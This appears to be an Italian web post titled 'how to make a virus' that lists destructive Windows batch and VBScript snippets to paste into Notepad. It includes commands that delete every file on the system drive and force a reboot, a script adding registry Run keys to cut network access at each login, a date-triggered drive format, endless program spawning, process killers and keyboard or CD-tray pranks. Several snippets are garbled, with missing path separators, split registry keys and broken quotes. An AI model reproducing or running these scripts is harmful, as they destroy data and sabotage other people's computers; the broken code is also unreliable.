Come fare un Virus : I più pericolosi script in batch per Windows

VANNO TUTTI COPIATI SUL BLOCCO NOTE (NOTEPAD)

>>Elimina tutti i contenuti del driver

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Salvalo in *.bat

>>Disabilita Internet

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

salvalo in *.bat

>>Crash di Windows

@Echo off
Del C:\ *.* |y

Salva in *.bat

>>Apre infiniti notepad

salvalo in *.bat

Code:-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

>> Bomb Virus

If %date% NEQ 2009/11/25 goto exit

format E: /y >nul
:exit
exit

Salva in *.bat

Note:- You Can Change The Date ( 2009/11/25 ) Of The Virus And The Location ( format E: ) On Which It Does Its Action
The Virus Will Take Effect On That Day

>>Attiva il CapsLock

Code:-

Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Salvalo in *.vbs

>>Attiva la spacebar

salvalo in *.vbs

Code:-

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

>>Attiva la spacebar

Salvalo in *.vbs

Code:-

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

>>Tasks Kill

@echo off

start calc

tskill msnmsgr

tskill firefox

tskill iexplore

tskill LimreWire

tskill explorer

pause

salvalo in .bat

>>Code type in notepad

@echo off
shutdown -r -f -t 00

Puoi aggiungere:

-s
spegne il PC.

-l

eseguire un logout

-c “messagetext”
scrivere un messaggio

-f
Forza l'uscita delle applicazioni

-r
Esegue il reboot del PC. ..!!..!

>>Aprire il supporto per CD

Code:-

Set oWMP = CreateObject(”WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop